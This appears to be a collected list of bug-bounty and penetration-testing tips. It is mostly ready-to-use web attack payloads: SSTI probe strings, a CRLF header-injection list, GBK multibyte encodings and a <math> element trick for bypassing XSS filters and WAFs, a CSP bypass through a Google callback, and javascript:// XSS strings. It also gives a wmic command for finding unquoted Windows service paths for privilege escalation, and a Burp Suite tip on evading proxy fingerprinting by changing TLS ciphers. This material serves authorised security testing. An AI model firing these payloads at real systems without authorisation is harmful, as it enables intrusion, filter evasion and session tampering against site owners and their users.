SSRF Techniques Roadmap

Burp Suite 2023.8+ includes a feature that theoretically makes opening untrusted project files safe. If you find a bypass, you're probably eligible for a bounty - check the full details here:

https://portswigger.net/burp/releases/professional-community-2023-8

Periodical reminder: it's possible to navigate sub-tabs (like Repeater entries) from the keyboard.

You simply have to configure the actions "Go to previous tab" and "Go to next tab".

Burp Suite

As Burp Suite is developed in Java, regexes may use embedded flag expressions like "(?m)"

Here's a detailled description of all the possibilities (including embedded flags, character classes, quantifiers, groups, ...)

Bug Bounty Tip

GBK Encoding / MultiByte Attack

嘊 = %E5%98%8A = \u560a ⇒ %0A
嘍 = %E5%98%8D = \u560d ⇒ %0D
嘾 = %E5%98%BE = \u563e ⇒ %3E (>)
嘼 = %E5%98%BC = \u563c ⇒ %3C (<)
嘢 = %E5%98%A2 = \u5622 ⇒ %22 (')
嘧 = %E5%98%A7 = \u5627 ⇒ %27 (")

For XSS, CRLF, WAF bypass

CSP Protection Bypass (using Google domain)

/o/oauth2/revoke?callback=alert(1);console.log

Useful for local privesc on Windows systems; find unquoted service path using the following:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

#OSCP #Windows

https://portswigger.net/burp/documentation/desktop/settings/network/tls#tls-negotiation


Burp Suite 2023.10 is harder to fingerprint than earlier versions as it now sets 'Accept-Encoding: gzip, deflate, br'. If you're still blocked, you might bypass it by tinkering with your TLS ciphers using "Network->TLS -> Use custom protocols and ciphers"

Bug Bounty Tip

SSTI (Server Side Template Injection) Payload List

🔹{7*7}
🔹*{7*7}
🔹{{7*7}}
🔹[[7*7]]
🔹${7*7}
🔹@(7*7)
🔹<?=7*7?>
🔹<%= 7*7 %>
🔹${= 7*7}
🔹{{= 7*7}}
🔹${{7*7}}
🔹#{7*7}
🔹[=7*7]

If evaluated as 49 - the target is vulnerable

Bug Bounty Tip

When the app only accepts URLs
with a specific scheme, try
injecting javascript://test.com

Then, use these symbols
to craft an XSS payload
🔹%0a
🔹%0d
🔹%E2%80%A8
🔹%E2%80%A9

✅ javascript://test.com%0aalert(1)

CRLF Payload List

🔹 /%%0a0aSet-Cookie:crlf
🔹 /%0aSet-Cookie:crlf
🔹 /%0d%0aSet-Cookie:crlf
🔹 /%0dSet-Cookie:crlf
🔹 /%23%0aSet-Cookie:crlf
🔹 /%23%0d%0aSet-Cookie:crlf
🔹 /%23%0dSet-Cookie:crlf
🔹 /%25%30%61Set-Cookie:crlf
🔹 /%25%30aSet-Cookie:crlf
🔹 /%250aSet-Cookie:crlf
🔹 /%25250aSet-Cookie:crlf
🔹 /%2e%2e%2f%0d%0aSet-Cookie:crlf
🔹 /%2f%2e%2e%0d%0aSet-Cookie:crlf
🔹 /%2F..%0d%0aSet-Cookie:crlf
🔹 /%3f%0d%0aSet-Cookie:crlf
🔹 /%3f%0dSet-Cookie:crlf
🔹 /%u000aSet-Cookie:crlf
🔹 /%E5%98%8D%E5%98%8ASet-Cookie:crlf

Bug Bounty Reminder

Don't forget about the <math> element for XSS WAF bypass on Firefox browser.

<math>
<xss href="javascript:alert(31337)">
Click Me
</xss>
</math>

The <math> can make any HTML element clickable within it.

Mindmap/Nmap/nmap UHD.png at main · Ignitetechnologies/Mindmap · GitHub
https://github.com/Ignitetechnologies/Mindmap/blob/main/Nmap/nmap%20UHD.png

Mindmap/Red Team Dorks at main · Ignitetechnologies/Mindmap · GitHub
https://github.com/Ignitetechnologies/Mindmap/tree/main/Red%20Team%20Dorks